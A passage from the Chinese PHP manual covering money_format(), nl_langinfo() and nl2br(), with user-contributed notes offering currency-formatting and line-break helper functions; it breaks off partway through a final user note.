// 美国国家的格式，使用圆括号 () 标记负数。
// 左侧精度使用十位
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($ 1,234.57)

// 相似的格式，添加了右侧两位小数点的精度，同时用 * 来填充
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// 让我们左对齐，14位宽，左侧八位，右侧两位，不带分组字符
// de_DE 的国际化格式
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// Eu 1234,56****

// 让我们在格式字符串前后，添加一些简介
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'The final value is %i (after a 10%% discount)';
echo money_format($fmt, 1234.56) . "\n";
// The final value is GBP 1,234.56 (after a 10% discount)

?>

注释

Note:

具有 strfmon 的系统才有 money_format() 函数。 例如 Windows 不具备，所以 Windows 系统上 money_format() 未定义。

Note:

locale 设置中， LC_MONETARY 会影响此函数的行为。 在使用函数前，首先要用 setlocale() 来设置合适的区域设置（locale）。

参见

  • setlocale() - 设置区域信息
  • sscanf() - 根据指定格式解析输入的字符
  • sprintf() - 返回格式化字符串
  • printf() - 输出格式化字符串
  • number_format() - 以千位分隔符方式格式化一个数字

User Contributed Notes

Anonymous 12-Oct-2023 05:03
Rafael M. Salvioni's code has a small bug in it when the value is positive and the format provided contains a ( flag.  The value should only be surrounded in parenthesis when the value is negative.  This should fix it:

<?php
    if (!function_exists('money_format'))
    {
        function money_format($format, $number)
        {
            $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
                    '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
            if (setlocale(LC_MONETARY, 0) == 'C') {
                setlocale(LC_MONETARY, '');
            }
            $locale = localeconv();
            preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
            foreach ($matches as $fmatch) {
                $value = floatval($number);
                $flags = array(
                    'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                                $match[1] : ' ',
                    'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
                    'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                                $match[0] : '+',
                    'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
                    'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
                );
                $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
                $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
                $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
                $conversion = $fmatch[5];

                $positive = true;
                if ($value < 0) {
                    $positive = false;
                    $value  *= -1;
                }
                $letter = $positive ? 'p' : 'n';

                $prefix = $suffix = $cprefix = $csuffix = $signal = '';

                $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
                switch (true) {
                    case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                        $prefix = $signal;
                        break;
                    case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                        $suffix = $signal;
                        break;
                    case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                        $cprefix = $signal;
                        break;
                    case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                        $csuffix = $signal;
                        break;
                    case $flags['usesignal'] == '(' && !$positive:
                    case $locale["{$letter}_sign_posn"] == 0:
                        $prefix = '(';
                        $suffix = ')';
                        break;
                }
                if (!$flags['nosimbol']) {
                    $currency = $cprefix .
                                ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                                $csuffix;
                } else {
                    $currency = '';
                }
                $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

                $value = number_format($value, $right, $locale['mon_decimal_point'],
                        $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
                $value = @explode($locale['mon_decimal_point'], $value);

                $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
                if ($left > 0 && $left > $n) {
                    $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
                }
                $value = implode($locale['mon_decimal_point'], $value);
                if ($locale["{$letter}_cs_precedes"]) {
                    $value = $prefix . $currency . $space . $value . $suffix;
                } else {
                    $value = $prefix . $value . $space . $currency . $suffix;
                }
                if ($width > 0) {
                    $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                            STR_PAD_RIGHT : STR_PAD_LEFT);
                }

                $format = str_replace($fmatch[0], $value, $format);
            }
            return $format;
        }
    }
?>
sainthyoga2003 at gmail dot com 28-Jul-2020 04:25
Be aware, since PHP 7.3 this method is deprecated and from PHP 7.4 this launch a deprecated error, so, setup your PHP web server to untrack E_DEPRECATED error reporting.
justsomeone 04-Jul-2017 11:49
Using the money_format function with float values which have more than two decimal digits can result in rounding errors.
Maybe this function will help you to avoid these failures:

<?php
// A product with a base price of 12.95
$price = 1295;

// The quantity is also an integer but translated it would be 11.91
$quantity = 1191;

// Result: 154.2345
// It's the same like 12.95 * 11.91
$sum = ($price / 100) * ($quantity  /100);

// Wrong result: 154.23
money_format('%!i', $sum);

// Wrong result: 154.23
number_format($sum, 2);

// Wrong result: 154.23
bcmul($price / 100, $quantity / 100, 2);

// Correct result : 154.24
money_format_rounded('%!i', $sum);

/**
 * Formats a number as a currency string. Rounds every decimal digit to a defined precision on its own.
 *
 * @param string $format The format for the money_format function
 * @param float|int|string $number The number to be formatted
 * @param int $maxPrecision Round up to the $maxPrecision number of decimal digit. Default is: 2
 * @param int $roundingType Rounding type for the round function. Default is: \PHP_ROUND_HALF_UP
 *
 * @return string
 */
function money_format_rounded($format, $number, $maxPrecision = 2, $roundingType = \PHP_ROUND_HALF_UP)
{
    $strlen = strlen($number);
    if ($strlen === 0) {
        return money_format($format, $number);
    }

    $length = $strlen - strrpos($number, '.') - 1;
    if ($length <= 0) {
        return money_format($format, $number);
    }

    $rounded = $number;
    for ($i = --$length; $i >= $maxPrecision; $i--) {
        $rounded = round($rounded, $i, $roundingType);
    }

    return money_format($format, $rounded);
}
Felix Duterloo 30-Jun-2016 12:43
Improvement to Rafael M. Salvioni's solution for money_format on Windows: when no currency symbol is selected, in the formatting, the minus sign was also lost when the locale puts it in position 3 or 4. Changed $currency = '';  to: $currency = $cprefix .$csuffix;

function money_format($format, $number) {
        $regex = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?' .
                '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
        if (setlocale(LC_MONETARY, 0) == 'C') {
            setlocale(LC_MONETARY, '');
        }
        $locale = localeconv();
        preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
        foreach ($matches as $fmatch) {
            $value = floatval($number);
            $flags = array(
                'fillchar' => preg_match('/\=(.)/', $fmatch[1], $match) ?
                        $match[1] : ' ',
                'nogroup' => preg_match('/\^/', $fmatch[1]) > 0,
                'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                        $match[0] : '+',
                'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0,
                'isleft' => preg_match('/\-/', $fmatch[1]) > 0
            );
            $width = trim($fmatch[2]) ? (int) $fmatch[2] : 0;
            $left = trim($fmatch[3]) ? (int) $fmatch[3] : 0;
            $right = trim($fmatch[4]) ? (int) $fmatch[4] : $locale['int_frac_digits'];
            $conversion = $fmatch[5];

            $positive = true;
            if ($value < 0) {
                $positive = false;
                $value *= -1;
            }
            $letter = $positive ? 'p' : 'n';

            $prefix = $suffix = $cprefix = $csuffix = $signal = '';

            $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
            switch (true) {
                case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                    $prefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                    $suffix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                    $cprefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                    $csuffix = $signal;
                    break;
                case $flags['usesignal'] == '(':
                case $locale["{$letter}_sign_posn"] == 0:
                    $prefix = '(';
                    $suffix = ')';
                    break;
            }
            if (!$flags['nosimbol']) {
                $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
            } else {
                $currency = $cprefix .$csuffix;
            }
            $space = $locale["{$letter}_sep_by_space"] ? ' ' : '';

            $value = number_format($value, $right, $locale['mon_decimal_point'], $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
            $value = @explode($locale['mon_decimal_point'], $value);

            $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
            if ($left > 0 && $left > $n) {
                $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
            }
            $value = implode($locale['mon_decimal_point'], $value);
            if ($locale["{$letter}_cs_precedes"]) {
                $value = $prefix . $currency . $space . $value . $suffix;
            } else {
                $value = $prefix . $value . $space . $currency . $suffix;
            }
            if ($width > 0) {
                $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                                STR_PAD_RIGHT : STR_PAD_LEFT);
            }

            $format = str_replace($fmatch[0], $value, $format);
        }
        return $format;
    }
tim 19-Feb-2015 10:21
For most of us in the US, we don't want to see a "USD" for our currency symbol, so '%i' doesn't cut it.  Here's what I used that worked to get what most  people expect to see for a number format.

$number = 123.4
setlocale(LC_MONETARY, 'en_US.UTF-8');
money_format('%.2n', $number);

output:
$123.40

That gives me a dollar sign at the beginning, and 2 digits at the end.
kaigillmann at googlemail dot com 12-Jun-2014 07:24
If you get "EUR" instead of the euro symbol, set the locale to utf8 charset like this:

<?php
setlocale(LC_MONETARY, 'de_DE.utf8');
echo money_format('%+n', 1234.56);
?>
todoventas at xarxa-cat dot net 09-Jan-2014 03:27
In Rafael M. Salvioni function localeconv(); returns an invalid array in my Windows XP SP3 running PHP 5.4.13 so to prevent the Warning Message: implode(): Invalid arguments passed i just add the $locale manually. For other languages just fill the array with the correct settings.

<?

       $locale = array(
        'decimal_point'        => '.',
        'thousands_sep'        => '',
        'int_curr_symbol'    => 'EUR',
        'currency_symbol'    => '�',
        'mon_decimal_point'    => ',',
        'mon_thousands_sep'    => '.',
        'positive_sign'        => '',
        'negative_sign'     => '-',
        'int_frac_digits'    => 2,
        'frac_digits'        => 2,
        'p_cs_precedes'        => 0,
        'p_sep_by_space'    => 1,
        'p_sign_posn'        => 1,
        'n_sign_posn'        => 1,
        'grouping'            => array(),
        'mon_grouping'        => array(0 => 3, 1 => 3)

    );
?>
jsb17NO at SPAMcornell dot edu 02-Aug-2013 08:10
To drop zero value decimals, use the following:
<?php
    /*
        Same as php number_format(), but if ends in .0, .00, .000, etc... , drops the decimals altogether
        Returns string type, rounded number - same as php number_format()):
        Examples:
            number_format_drop_zero_decimals(54.378, 2) ==> '54.38'
            number_format_drop_zero_decimals(54.00, 2) ==> '54'
     */
    function number_format_drop_zero_decimals($n, $n_decimals)
    {
        return ((floor($n) == round($n, $n_decimals)) ? number_format($n) : number_format($n, $n_decimals));
    }
?>
Results:
number_format_drop_zero_decimals(54.377, 2) ==> 54.38
number_format_drop_zero_decimals('54.377', 2) ==> 54.38
number_format_drop_zero_decimals(54.377, 3) ==> 54.377
number_format_drop_zero_decimals(54.007, 2) ==> 54.01
number_format_drop_zero_decimals(54.000, 2) ==> 54
number_format_drop_zero_decimals(54.00, 2) ==> 54
number_format_drop_zero_decimals(54.0, 2) ==> 54
number_format_drop_zero_decimals(54.1, 2) ==> 54.10
number_format_drop_zero_decimals(54., 2) ==> 54
number_format_drop_zero_decimals(54, 2) ==> 54
number_format_drop_zero_decimals(54, 3) ==> 54
number_format_drop_zero_decimals(54 + .13, 2) ==> 54.13
number_format_drop_zero_decimals(54 + .00, 2) ==> 54
number_format_drop_zero_decimals(54.0007, 4) ==> 54.0007
number_format_drop_zero_decimals(54.0007, 3) ==> 54.001
number_format_drop_zero_decimals(54.00007, 3) ==> 54  //  take notice
~B 17-Aug-2012 04:58
We found that after switching from Ubuntu 10.04 php -v 5.3.2, to Ubuntu 12.04 php -v 5.3.10 this no longer worked:

<?php setlocale(LC_MONETARY, 'en_US'); ?>

Found that using:

<?php setlocale(LC_MONETARY, 'en_US.UTF-8'); ?>

worked find
phpdeveloperbalaji at gmail dot com 28-Sep-2011 01:04
Hi,

For South Asian Currencies, this function could be a handy one.

It will handle negative as well as float(Paise).

<?php
function my_money_format($number)
{
    if(strstr($number,"-"))
    {
        $number = str_replace("-","",$number);
        $negative = "-";
    }

    $split_number = @explode(".",$number);

    $rupee = $split_number[0];
    $paise = @$split_number[1];

    if(@strlen($rupee)>3)
    {
        $hundreds = substr($rupee,strlen($rupee)-3);
        $thousands_in_reverse = strrev(substr($rupee,0,strlen($rupee)-3));
        for($i=0; $i<(strlen($thousands_in_reverse)); $i=$i+2)
        {
            $thousands .= $thousands_in_reverse[$i].$thousands_in_reverse[$i+1].",";
        }
        $thousands = strrev(trim($thousands,","));
        $formatted_rupee = $thousands.",".$hundreds;

    }
    else
    {
        $formatted_rupee = $rupee;
    }

    if((int)$paise>0)
    {
        $formatted_paise = ".".substr($paise,0,2);
    }

    return $negative.$formatted_rupee.$formatted_paise;

}
?>

Thanks,
andrey.dobrozhanskiy [-a-t-] gmail com 07-Jul-2010 09:43
This function divides integer value by commas. F.e.

<?php
echo formatMoney(1050); # 1,050
echo formatMoney(1321435.4, true); # 1,321,435.40
echo formatMoney(10059240.42941, true); # 10,059,240.43
echo formatMoney(13245); # 13,245

function formatMoney($number, $fractional=false) {
    if ($fractional) {
        $number = sprintf('%.2f', $number);
    }
    while (true) {
        $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
        if ($replaced != $number) {
            $number = $replaced;
        } else {
            break;
        }
    }
    return $number;
}
?>
Rafael M. Salvioni 19-Feb-2009 12:20
This is a some function posted before, however various bugs were corrected.

Thank you to Stuart Roe by reporting the bug on printing signals.

<?php
/*
That it is an implementation of the function money_format for the
platforms that do not it bear.

The function accepts to same string of format accepts for the
original function of the PHP.

(Sorry. my writing in English is very bad)

The function is tested using PHP 5.1.4 in Windows XP
and Apache WebServer.
*/
function money_format($format, $number)
{
    $regex  = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?'.
              '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
    if (setlocale(LC_MONETARY, 0) == 'C') {
        setlocale(LC_MONETARY, '');
    }
    $locale = localeconv();
    preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
    foreach ($matches as $fmatch) {
        $value = floatval($number);
        $flags = array(
            'fillchar'  => preg_match('/\=(.)/', $fmatch[1], $match) ?
                           $match[1] : ' ',
            'nogroup'   => preg_match('/\^/', $fmatch[1]) > 0,
            'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                           $match[0] : '+',
            'nosimbol'  => preg_match('/\!/', $fmatch[1]) > 0,
            'isleft'    => preg_match('/\-/', $fmatch[1]) > 0
        );
        $width      = trim($fmatch[2]) ? (int)$fmatch[2] : 0;
        $left       = trim($fmatch[3]) ? (int)$fmatch[3] : 0;
        $right      = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];
        $conversion = $fmatch[5];

        $positive = true;
        if ($value < 0) {
            $positive = false;
            $value  *= -1;
        }
        $letter = $positive ? 'p' : 'n';

        $prefix = $suffix = $cprefix = $csuffix = $signal = '';

        $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
        switch (true) {
            case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                $prefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                $suffix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                $cprefix = $signal;
                break;
            case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                $csuffix = $signal;
                break;
            case $flags['usesignal'] == '(':
            case $locale["{$letter}_sign_posn"] == 0:
                $prefix = '(';
                $suffix = ')';
                break;
        }
        if (!$flags['nosimbol']) {
            $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
        } else {
            $currency = '';
        }
        $space  = $locale["{$letter}_sep_by_space"] ? ' ' : '';

        $value = number_format($value, $right, $locale['mon_decimal_point'],
                 $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
        $value = @explode($locale['mon_decimal_point'], $value);

        $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
        if ($left > 0 && $left > $n) {
            $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
        }
        $value = implode($locale['mon_decimal_point'], $value);
        if ($locale["{$letter}_cs_precedes"]) {
            $value = $prefix . $currency . $space . $value . $suffix;
        } else {
            $value = $prefix . $value . $space . $currency . $suffix;
        }
        if ($width > 0) {
            $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                     STR_PAD_RIGHT : STR_PAD_LEFT);
        }

        $format = str_replace($fmatch[0], $value, $format);
    }
    return $format;
}

?>
jeremy 30-Sep-2008 10:41
If money_format doesn't seem to be working properly, make sure you are defining a valid locale.  For example, on Debian, 'en_US' is not a valid locale - you need 'en_US.UTF-8' or 'en_US.ISO-8559-1'.

This was frustrating me for a while.  Debian has a list of valid locales at /usr/share/i18n/SUPPORTED; find yours there if it's not working properly.
swapnet 22-Jul-2008 08:24
Consider formatting currency for some South Asian countries that use ##,##,###.## money format.
The following code generates something like Rs. 4,54,234.00 and so on.

<?php
function convertcash($num, $currency){
    if(strlen($num)>3){
            $lastthree = substr($num, strlen($num)-3, strlen($num));
            $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
            $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.

            $expunit = str_split($restunits, 2);
            for($i=0; $i<sizeof($expunit); $i++){
                $explrestunits .= (int)$expunit[$i].","; // creates each of the 2's group and adds a comma to the end
            }

            $thecash = $explrestunits.$lastthree;
    } else {
           $thecash = $convertnum;
    }

    return $currency.$thecash.".00"; // writes the final format where $currency is the currency symbol.
}
?>

now call the function as  convertcash($row['price'], 'Rs '); // that's the price from the database I called using an Indian Rupees prefix where the price has to be a plain number format, say something like 454234.
scot from ezyauctionz.co.nz 06-Oct-2007 03:10
This is a handy little bit of code I just wrote, as I was not able to find anything else suitable for my situation.
This will handle monetary values that are passed to the script by a user, to reformat any comma use so that it is not broken when it passes through an input validation system that checks for a float.

It is not foolproof, but will handle the common input as most users would input it, such as 1,234,567 (outputs 1234567) or 1,234.00 (outputs 1234.00), even handles 12,34 (outputs 12.34), I expect it would work with negative numbers, but have not tested it, as it is not used for that in my situation.

This worked when other options such as money_format() were not suitable or possible.

<?php
///////////////
// BEGIN CODE convert all price amounts into well formatted values
function converttonum($convertnum,$fieldinput){
        $bits = explode(",",$convertnum); // split input value up to allow checking

        $first = strlen($bits[0]); // gets part before first comma (thousands/millions)
        $last = strlen($bits[1]); // gets part after first comma (thousands (or decimals if incorrectly used by user)

        if ($last <3){ // checks for comma being used as decimal place
            $convertnum = str_replace(",",".",$convertnum);
        }
        else{ // assume comma is a thousands seperator, so remove it
            $convertnum = str_replace(",","",$convertnum);
        }

        $_POST[$fieldinput] = $convertnum; // redefine the vlaue of the variable, to be the new corrected one
}

@converttonum($_POST[inputone],"inputone");
@converttonum($_POST[inputtwo],"inputtwo");
@converttonum($_POST[inputthree],"inputthree");
// END CODE
//////////////

?>

This is suitable for the English usage, it may need tweaking to work with other types.
richard dot selby at uk dot clara dot net 17-Feb-2006 07:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.


Query language and locale information

  • ? money_format
  • nl2br ?
  • PHP Manual
  • 字符串 函数
  • Query language and locale information

nl_langinfo

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

nl_langinfo — Query language and locale information

说明

nl_langinfo(int $item): string|false

nl_langinfo() is used to access individual elements of the locale categories. Unlike localeconv(), which returns all of the elements, nl_langinfo() allows you to select any specific element.

参数

item

item may be an integer value of the element or the constant name of the element. The following is a list of constant names for item that may be used and their description. Some of these constants may not be defined or hold no value for certain locales.

nl_langinfo Constants
Constant | Description
LC_TIME Category Constants
ABDAY_(1-7) | Abbreviated name of n-th day of the week.
DAY_(1-7) | Name of the n-th day of the week (DAY_1 = Sunday).
ABMON_(1-12) | Abbreviated name of the n-th month of the year.
MON_(1-12) | Name of the n-th month of the year.
AM_STR | String for Ante meridian.
PM_STR | String for Post meridian.
D_T_FMT | String that can be used as the format string for strftime() to represent time and date.
D_FMT | String that can be used as the format string for strftime() to represent date.
T_FMT | String that can be used as the format string for strftime() to represent time.
T_FMT_AMPM | String that can be used as the format string for strftime() to represent time in 12-hour format with ante/post meridian.
ERA | Alternate era.
ERA_YEAR | Year in alternate era format.
ERA_D_T_FMT | Date and time in alternate era format (string can be used in strftime()).
ERA_D_FMT | Date in alternate era format (string can be used in strftime()).
ERA_T_FMT | Time in alternate era format (string can be used in strftime()).
LC_MONETARY Category Constants
INT_CURR_SYMBOL | International currency symbol.
CURRENCY_SYMBOL | Local currency symbol.
CRNCYSTR | Same value as CURRENCY_SYMBOL.
MON_DECIMAL_POINT | Decimal point character.
MON_THOUSANDS_SEP | Thousands separator (groups of three digits).
MON_GROUPING | Like "grouping" element.
POSITIVE_SIGN | Sign for positive values.
NEGATIVE_SIGN | Sign for negative values.
INT_FRAC_DIGITS | International fractional digits.
FRAC_DIGITS | Local fractional digits.
P_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a positive value.
P_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a positive value.
N_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a negative value.
N_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a negative value.
P_SIGN_POSN
  • Returns 0 if parentheses surround the quantity and CURRENCY_SYMBOL.
  • Returns 1 if the sign string precedes the quantity and CURRENCY_SYMBOL.
  • Returns 2 if the sign string follows the quantity and CURRENCY_SYMBOL.
  • Returns 3 if the sign string immediately precedes the CURRENCY_SYMBOL.
  • Returns 4 if the sign string immediately follows the CURRENCY_SYMBOL.
N_SIGN_POSN
LC_NUMERIC Category Constants
DECIMAL_POINT | Decimal point character.
RADIXCHAR | Same value as DECIMAL_POINT.
THOUSANDS_SEP | Separator character for thousands (groups of three digits).
THOUSEP | Same value as THOUSANDS_SEP.
GROUPING
LC_MESSAGES Category Constants
YESEXPR | Regex string for matching "yes" input.
NOEXPR | Regex string for matching "no" input.
YESSTR | Output string for "yes".
NOSTR | Output string for "no".
LC_CTYPE Category Constants
CODESET | Return a string with the name of the character encoding.

返回值

Returns the element as a string, or false if item is not valid.

示例

Example #1 nl_langinfo() example

<?php

var_dump(nl_langinfo(CODESET));
var_dump(nl_langinfo(YESEXPR));
?>

以上示例的输出类似于：

string(14) "ANSI_X3.4-1968"
string(5) "^[yY]"

注释

Note: 此函数未在 Windows 平台下实现。

参见

  • setlocale() - 设置区域信息
  • localeconv() - Get numeric formatting information

User Contributed Notes

mark at moderndeveloper dot com 15-Nov-2013 03:23
If you are looking for the stand-alone (nominative form) of a month, you may not be able to use nl_langinfo(), but with PHP 5.5 you can use something like:

<?php
echo IntlDateFormatter::formatObject(
         new DateTime('2013-01-01 00:00:00 Europe/Moscow'),
         'LLLL',
         'ru_RU');
?>

Note that the format uses the ICU patterns, not the PHP date() patterns.
avatar_at_hot_ee 11-Mar-2006 07:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "Январь" (the proper nominative form) it returns "Января" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.


在字符串所有新行之前插入 HTML 换行标记

  • ? nl_langinfo
  • number_format ?
  • PHP Manual
  • 字符串 函数
  • 在字符串所有新行之前插入 HTML 换行标记

nl2br

(PHP 4, PHP 5, PHP 7, PHP 8)

nl2br — 在字符串所有新行之前插入 HTML 换行标记

说明

nl2br(string $string, bool $use_xhtml = true): string

在字符串 string 所有新行之前插入 '<br />' 或 '<br>'，并返回。

参数

string

输入字符串。

use_xhtml

是否使用 XHTML 兼容换行符。

返回值

返回调整后的字符串。

示例

Example #1 nl2br() 使用示例

<?php
echo nl2br("foo isn't\n bar");
?>

以上示例会输出：

foo isn't<br />
 bar

Example #2 使用 use_xhtml 生成合法的 HTML 标记

<?php
echo nl2br("Welcome\r\nThis is my HTML document", false);
?>

以上示例会输出：

Welcome<br>
This is my HTML document

Example #3 各种换行分隔符

<?php
$string = "This\r\nis\n\ra\nstring\r";
echo nl2br($string);
?>

以上示例会输出：

This<br />
is<br />
a<br />
string<br />

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • htmlentities() - 将字符转换为 HTML 转义字符
  • wordwrap() - 打断字符串为指定数量的字串
  • str_replace() - 子字符串替换

User Contributed Notes

Patrik 12-Dec-2022 12:55
Consider using CSS's `white-space: pre-line;` instead, it does the same thing as nl2br().
gautier dot michelin at gmail dot com 29-Jun-2020 08:03
This is a simple trick to transform newlines to paragraph a $string :

<?php
$string_with_paragraphs = "<p>".implode("</p><p>", explode("\n", $string))."</p>";
?>

By exploding on new lines & adding end & begin for p, it's easy to concat with <p>.

You can bring it to a function :

<?php
function nl2p($string) {
    return $string_with_paragraphs = "<p>".implode("</p><p>", explode("\n", $string))."</p>";
}
?>
Collette 02-Jan-2020 11:57
Let's say a form text field does contain:
 test line number 1
 test line number 2

To remove all the line breaks and split the input into an array:

$input_from_text_field = preg_replace('#[\r\n]#','',nl2br($input_from_text_field,false));
$lines = explode("<br>",$input_from_text_field);

$lines will now be an array where $lines[0] = "test line number 1" and so on.
aabaev 16-Nov-2018 07:09
double quotes !== single quotes

php > echo nl2br('\r\n');
\r\n
php > echo nl2br("\r\n");
<br />
buzanits at gmail dot com 07-Nov-2017 03:39
If you write code that is to run in browser AND on the shell, this function could be useful. It uses PHP_EOL or <br /> depending on the platform it runs:

<?php
function nl($string) {
  if(isset($_SERVER['SHELL'])) return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
  return nl2br($string);
}

print nl("One\nTwo<br>Three\r\nFour<br />Five
Six" . PHP_EOL);
?>
chad at nobodyfamous dot ca 16-Aug-2017 01:07
I just spent a whole day trying to figure out why my textarea $_POST was not getting <br /> tags added by nl2br().  So for others

<?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_SPECIAL_CHARS); ?> returns newlines as  &#13; and &#10; so nl2br will miss them.

rather use <?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_STRING); ?> and newlines will remain intact so nl2br will pick them up.
Justinas M. 02-May-2016 07:02
This is example with "\R" regex token which matches any unicode newline character.
"u" flag treate strings as UTF-16. Which is optional, depending on your use case.

<?php

public function nl2br($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

?>

NOTE:
preg_replace versions are much slower than using str_replace version or built-in nl2br.
Check out pcre.backtrack_limit php.ini setting for information about PCRE limit. It's good to know.

Some PHP7 benchmarks:
<?php

// nl2br()

function nl2br_str($string) {
  return str_replace(["\r\n", "\r", "\n"], '<br/>', $string);
}

function nl2br_preg_R($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

function nl2br_preg_rnnr($string)
{
  return preg_replace('/(\r\n|\n|\r)/', '<br/>', $string);
}

?>

 # nl2br
 ## Time: 0.02895712852478 s

 # nl2br_str
 ## Time: 0.027923107147217 s

 # nl2br_preg_R
 ## Time: 0.13350105285645 s

 # nl2br_preg_rnnr
 ## Time: 0.14213299751282 s
leo dot mauro dot desenv at gmail dot com 17-Sep-2015 12:36
I test empirically this function nl2br and nl2br2 (create by ngkongs at gmail dot com).
Both work nice with different ASCII chars for linebreak, but the function nl2br2 is faster than nl2br.

nl2br2 ~ 0.0000309944153 s
nl2br  ~ 0.0011141300201 s

The function nl2br2:
<?php
function nl2br2($string) {
  $string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
  return $string;
}
?>
fquffio at live dot it 10-Jun-2014 08:46
Starting from PHP 4.3.10 and PHP 5.0.2, this should be the most correct way to replace <br /> and <br> tags with newlines and carriage returns.
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl ( $string )
{
    return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
}
?>
(Please note this is a minor edit of this function: http://php.net/nl2br#86678 )

You might also want to be "platform specific", and therefore this function might be of some help:
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @param string The string to use as line separator
 * @return string The converted string
 */
function br2nl ( $string, $separator = PHP_EOL )
{
    $separator = in_array($separator, array("\n", "\r", "\r\n", "\n\r", chr(30), chr(155), PHP_EOL)) ? $separator : PHP_EOL;  // Checks if provided $separator is valid.
    return preg_replace('/\<br(\s*)?\/?\>/i', $separator, $string);
}
?>
darenschwenke at yahoo dot com 28-Jan-2014 07:15
This one works with br tags having attributes, in any case,
closed or  not closed, and does not double linefeeds

<?php
 /**
 * convert br tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */

function br2nl($string)
{
    return preg_replace("/<br[^>]*>\s*\r*\n*/is", "\n", $string);
}
?>

I combine this with strip_tags() for dead simple "contenteditable" fields allowing only text and linefeeds.
j dot mons54 at gmail dot com 29-May-2012 09:45
for bbcode :

<?php
